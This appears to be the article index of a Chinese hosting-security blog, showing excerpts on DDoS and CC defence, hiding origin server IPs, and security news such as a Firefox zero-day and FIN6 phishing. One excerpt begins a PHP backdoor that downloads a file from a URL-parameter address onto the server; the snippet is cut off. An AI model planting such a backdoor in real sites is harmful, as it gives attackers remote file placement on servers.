DDoS防御的几类方法：本地DDoS防护、基于云的DDOS防护、混合型DDoS防护
DDoS防护的方法主机帮大概分为三大类：本地DDoS防护、基于云的DDOS防护、混合型DDoS防护。 今天主机帮就来说下这三大类的特点： 本地DDoS防护： 在本地服服务器部署DDOS防护硬件设备，部署防火墙软件。 优势：提供紧密的控制力和出色的灵活性，可以根据业务的具体需求定制解决方案。 劣势：对服务器配置要求高，需要接入非常大的带宽，容易被大规模的容量耗尽攻击击溃，而且维护成本较高。 适用对象…...一个PHP后门代码：允许通过URL参数直接下载文件到服务器
<?php set_time_limit(0); if(isset($_GET['url']) && isset($_GET['filename'])){ if(httpcopy($_GET['url'], $_GET['filename'])){ echo…...火狐 Firefox 浏览器紧急修复“关键”零日漏洞
10 月 10 日消息，Mozilla 于 10 月 9 日发布安全公告，表示火狐 Firefox 浏览器中发现“关键”级别的零日漏洞，且有证据表明黑客已利用该漏洞发起攻击，推荐用户尽快升级到最新版本。 该漏洞追踪编号为 CVE-2024-9680，是存在于 Animation timelines 中的一个 use-after-free 漏洞。 根据目前掌握的线索，已经有黑客利用该漏洞，在内容进程…...黑客组织 FIN6 假借求职名义发送木马邮件，HR 下载打开“作品集”就中招
10 月 8 日消息，安全公司 trendmicro 本周发布报告称有黑客组织 FIN6 专门针对招聘销售工程师的公司发动攻击，相关黑客将附带有恶意木马 More_eggs 运行文件的链接打包入简历邮件中，只要 HR 点击邮件里的链接下载打开文件便会中招。 据悉，这些黑客使用的简历通常以“John Cboins”署名，相关邮件中没有包含附件，但一旦 HR 点击邮件中的链接便会跳…...今日防护日志：某客户网站被CC攻击被百度云防护智能拦截
好久没有写CC攻击的防御案例了，主要是现在黑客攻击网站的案例有点少。 不过，今天主机帮收到了百度智能云的短信提醒，某个客户正在遭受攻击。 主机帮登陆该客户网站查看处于正常打开状态，这个客户的网站是行业网站，平时流量不错，可能遭到竞争对手恶心攻击是正常的。 我们登陆百度云防护-攻击日志查看，发现攻击只有5分钟左右，这应该是竞争对手在某些黑客平台购买的攻击服务，攻击不大，但如果没有防火墙的话，足以瘫痪…...淘宝也做自营店了，淘宝内置“淘精选”业务
10 月 8 日消息，据 Tech 星球报道，淘宝上线了一项名为“淘精选”的业务，以自营店的形式内置在淘宝 App 内。 据悉，淘精选是由淘宝官方运营，通过官方精选和服务为消费者提供性价比商品的官方运营品牌。 报道称在今年 6 月底，淘天集团在 618 活动结束后召开了一场商家闭门会，在此次淘天集团一线业务高管到场的会议中透露，淘宝未来将弱化绝对低价战略，改回按 GMV（IT之家注：商品交易总额）…...阿里云服务器 ECS可以购买外面的DDOS防御服务吗？
最近，有客户咨询主机帮服务器在阿里云的，可以购买阿里云以外的DDOS防御服务吗？ 答案是可以的。 但是，前提条件你需要更换一个新的服务器IP用高防服务隐藏起来，一般阿里云服务器都是支持更换IP的，这个可以咨询阿里云官方。 更换好服务器的IP后，我们再利用购买的高防IP或者高防CDN进行隐藏转发。 比如你是游戏业务，那么需要购买高防IP，然后在高防IP设置那转发新的服务器IP，设置好需要转发的服务器…...10 月 5 日纬创遭受网络攻击
10 月 6 日消息，纬创 10 月 5 日晚间公告称遭受网络攻击，网站皆已恢复正常运作，估计对运营尚无重大影响。 纬创表示，事件是发生在 10 月 4 日，公司于遭受网络攻击时，立即启动相关防御机制，目前网站皆已恢复正常运作。 纬创指出，经评估没有个人资料或内部文档数据外泄，对运营尚无重大影响。公司相关网络安全防护机制，已足以应对这一事件，后续将持续密切监控。 纬创前身为宏碁电脑股份有限公司于 …...乐高官网遭黑客入侵宣传加密货币
10 月 6 日消息，有网友称乐高官网 10 月 5 日出现奇怪的宣传横幅，该横幅声称“乐高币”现已正式上市，甚至承诺向购买的人提供“神秘奖励”，但乐高并没有真正推出官方加密货币。 根据 The Brick Fan 的说法，点击购买按钮会跳转到一个外部加密货币网站，该网站用以太坊出售“乐高代币”。 乐高官方很快删除了这一横幅，并向 Engadget 回应称没有用户账户受到损害，…...谷歌也做蓝V企业认证了
10 月 5 日消息，当地时间 4 日，据 The Verge 报道，谷歌正测试在搜索中引入一项新的验证功能，可让用户更容易地避免点击虚假或欺诈性的网站链接。 例如，部分用户可在谷歌搜索结果中的企业链接一旁看到蓝色的“已验证”标记，这将是表明该公司“真实可信”的象征。谷歌公共事务发言人 Molly Shaheen 告诉 The Verge：“我们会定期尝试一些新功能，帮助用户在网上识别值得信赖的企…...WordPress 内部出现分歧，大量遣散持不同意见员工
10 月 4 日消息，WordPress 联合创始人兼 Automattic 公司 CEO 马特・穆伦维格（Matt Mullenweg）近日向与自己就针对 WP Engine 的斗争意见相左的员工提供了离职补偿金，金额为 3 万美元或 6 个月工资（取较高者）。穆伦维格周四晚上更新信息称，共有 159 名员工接受了该提议，占公司总人数的 8.4%。 Automattic 负责运营 WordPre…...好消息！福建联通移动海外白名单制度疑似放开
有用过香港服务器的同学，可能会经历过，网站放在香港服务器上后，福建省会出现打不开的情况。 这个问题是因为福建省弄了一个白名单制度，一些没有备案的域名，服务器放在非大陆地区的，都可能会访问不了。主机帮这边有好几个客户出现这个问题，这个黑白名单是跟随域名的，只要你域名进了黑名单，只要你还是用海外服务器，都打不开，而且这个白名单制度还不好申请解封，简直投诉无门。 今天有站长反馈，身在福建，以前打不开的网…...Cloudflare 成功防御 3.8Tbps 的 DDoS 攻击 刷新历史！
10 月 2 日消息，Cloudflare 今日发文称，其 DDoS 保护系统自 9 月初以来一直在抵御一个超大规模的 L3/4 DDoS 攻击。 此次攻击一直持续了一整个月，期间包括一百多次超大规模攻击，其中最大一次攻击达到 3.8Tbps，是已公开披过的最大规模的一次攻击。 ▲ 持续 65 秒，每秒 3.8 Tbps 的 DDoS 攻击 ▲ 持续 60 秒，每秒 …...万维网基金会宣布关闭了
10 月 1 日消息，历经 15 年后，万维网基金会（World Wide Web Foundation，WF）联合创始人罗斯玛丽・利斯和万维网发明者蒂姆・伯纳斯-李（Tim Berners-Lee）宣告其使命已经完成，WF 即将关闭。 两人表示，该基金会成立于 2009 年，当时全球只有五分之一的人能够上网，而十五年后，全球近 70% 的人都已经能够上网，许多类似的非政府组织也在努力让网络变得更…...国庆长假 注意保护好网站安全
随着国庆长假的到来，许多企业和组织可能会减少网络安全值守人员，这往往会导致防护措施的减弱。在这段时间内，网站可能面临多种安全威胁，包括但不限于DDoS攻击、Web攻击、数据泄露等。为了确保网站在假期期间的安全稳定运行，以下是一些可能的安全问题及其解决办法： 网站可能面临的安全问题 DDoS攻击：分布式拒绝服务攻击会通过大量请求压垮服务器，导致网站无法访问 Web攻击：包括SQL注入、跨站脚本（XS…....INK和.VIP等顶级域名后缀将注销
刚刚，主机帮从工信部网站了解到“.VIP”“.BEER”“.LAW”“.WORK”“.FASHION”“.LUXE”“.YOGA”“.FIT”等8个顶级域相关业务将注销！ 也就是说，这些后缀的域名以后无法使用了！惊不惊喜，意不意外！ 这几个域名都是由国内北京拓扑维度科技有限公司和北京明智墨思科技有限公司这两家公司运营的，现在这两家公司直接不做了，意味着以后这些域名将无法使用了。 相关链接：http…...WordPress 与托管商 WP Engine 决裂，禁止其访问平台资源
9 月 28 日消息，WordPress 开发商 Automattic 与托管商 WP Engine 昨日宣布决裂，Automattic 现已禁止 WP Engine 访问 WordPress.org。 此前，Automattic 首席执行官兼 WordPress 的共同创建者马特・穆伦维格（Matt Mullenweg）批评 WP Engine 从开源 WordPress 项目中牟取超过 4 亿…...PC 版 ChatGPT 客户端曝“记忆”功能漏洞
9 月 27 日消息，OpenAI 在今年 2 月宣布为 ChatGPT 推出记忆（Memory）的功能，今年 9 月初这项功能正式向所有用户开放，该功能的主要用途是“设定预设”，从而帮助 AI 向用户更符合需求的答案。 不过研究人员 Johann Rehberger 目前披露报告，称这项功能在 PC 版 ChatGPT 客户端上存在漏洞，黑客可借漏洞获取用户对话记录。 Joh…...Arc 浏览器推出安全漏洞赏金计划，赏金高达20000美元
最近，Arc 浏览器的开发公司 —— 浏览器公司（The Browser Company）宣布正式启动一项新的漏洞赏金计划，旨在提高其基于 Chromium 的浏览器的安全性。这项举措不仅是为了更好地保护用户，还希望通过与研究人员保持透明和主动的沟通，提升用户对安全问题的信任。 这次安全措施的推出，是在发现了一起严重漏洞后进行的。该漏洞由一位名叫 xyz3va 的研究人员发现，若不及时修复，恶意行…...别研究百度搜索了 研究谷歌搜索吧
这几年，百度对流量控制越发严格，很多网站根本从百度得不到流量。 不过，不用担心，百度没流量，谷歌还是有流量的，主机帮博客这 几个月来自谷歌的流量暴涨！ 有一次还因为一篇文章排名好，一天来了390的流量。 所以，站长们可以考虑研究下谷歌，毕竟谷歌还是很公平的，内容质量只要好的话，基本都是能上排名。 做谷歌的方法网上有很多，主机帮这里根据自己的经验给大家说下： 1.接入谷歌站长平台（search.go…...
精选文章
今日防护日志：某客户网站被CC攻击被百度云防护智能拦截
好久没有写CC攻击的防御案例了，主要是现在黑客攻击网站的案例有点少。 不过，今天主机帮收到了百度智能云的短信提醒，某个客户正在遭受攻击。 主机帮登陆该客户网站查看处于正常打开状态，这个客户的网站是行业网站，平时流量不错，可能遭到竞争对手恶心攻击是正常的。 我们登陆百度云防护-攻击日志查看，发现攻击只有5分钟左右，这应该是竞争对手在某些黑客平台购买的攻击服务，攻击不大，但如果没有防火墙的话，足以瘫痪…...高防IP 500G防御能抗DDoS无视CC攻击吗？
答案是：当然不能无视CC攻击。 CC攻击本质上是通过大量的请求使业务的源服务器承受不住攻击,从而无法正常访问。 与一般DDOS不同，虽然CC攻击也是一种DDOS，但是CC攻击不需要很大的流量，只需要针对程序应用的弱点进行大量非法请求，就可以很轻松的使服务器瘫痪。 如果说DDOS是一种简单粗暴的攻击方式的话，CC攻击就是一种针对弱点的攻击。 防御CC攻击需要对防火墙有很高的要求，除了需要防火墙具备识…...服务器被攻击了如何解决？(服务器被DDOS攻击的应对策略)
面对DDoS攻击，可以采取以下策略进行应对： 1 更换高防服务器 顾名思义就是带防御的服务器，这种服务器一般部署在高防数据中心，数据中心拥有很强大的防御设备及网络，可以应对各类DDOS攻击。而数据中心防御能力一般是收费的，如100G峰值2000左右一个月，300G峰值 3000多一个月,这样算，数据中心会给每个高防服务器的IP设置好对相应的防御能力，当你的DDOS峰值超量后，数据中心就会暂时停止你…...利用高防IP防御427G DDOS攻击的实战经验
前段时间主机帮的这位客户刚被DDOS攻击超过300G，今天攻击更是超过了400G，直接导致了两个高防IP出现短暂的封禁状态。 好在我们利用DNS自动监控切换功能，及时对DNS进行了调整，自动切换可用的高防IP，我们知道如果利用单个高防IP来硬抗DDOS攻击的话，损失会非常大，原因是超过300G的 DDOS防御价格相当昂贵的。 我们利用两个300G的高防IP，进行了轮流切换，最后用腾讯云安全CDN来…...阿里腾讯云服务器屏蔽Censys防止黑客查询网站服务器IP
Censys这个网站属实牛P，可以通过各种扫描查到已经使用了CDN的网站源服务器IP，不仅可以通过SSL证书查到服务器IP，还可以扫描全网IP分析这个IP绑定了哪个域名，简直是黑客攻击网站必备。 为了防止网站被黑客查到源服务器IP，我们最直接的方法是通过服务器安全组把Censys的扫描IP全部给屏蔽了。 162.142.125.0/24 167.94.138.0/24 167.94.145.0/2…...网站使用小服务商的高防CDN会有什么风险
最近，一位站长联系上主机帮购买高防CDN，这位客户之前联系过主机帮的，后来因为这边价格贵点，所以没有买，后来去买了一家小服务商的产品，主机帮以为这事就这么过去了，没想到这位客户又联系上了主机帮，表示下个月要买，原因如下图： 所以，我今天主机帮给大家科普下使用小服务商高防CDN的风险： 1.不稳定 这是最普遍的现象，小服务往往资源有限，防御不了大型的攻击，一但遭遇大型攻击，会影响整个网络，即使不是你…...使用高防CDN隐藏服务器IP却总被查到源服务器
最近，主机帮接了一位客户接入百度云防护，服务器更换了新IP，用了百度云防护CDN隐藏起来，结果没两天服务器又被DDOS了。 主机帮在确认新换的IP没有使用过后，域名也没有解析暴露过IP的情况下，我们通过censys查询域名，发现居然可以轻松的查到源服务器IP。 原来是客户的源服务器在部署SSL证书的时候泄漏了源服务器IP，在某些情况下，服务器IP如果没有部署SSL证书的话，会默认把服务器的第一个网…...百度云防护更新了安全报表功能
今天有登陆百度云防护管理的同学，一定注意到，百度云防护的安全报表更新了。 可看的数据增多了，如安全规则更新、防护域名、域名被攻击次数、CC攻击次数等。 可以让我们很直观的查看网站被的安全防护情况，非常不错的更新。 目前百度云防护几乎每月都有更新，产品正在不断完善，有需要的同学可以联系主机帮购买，价格优惠。...
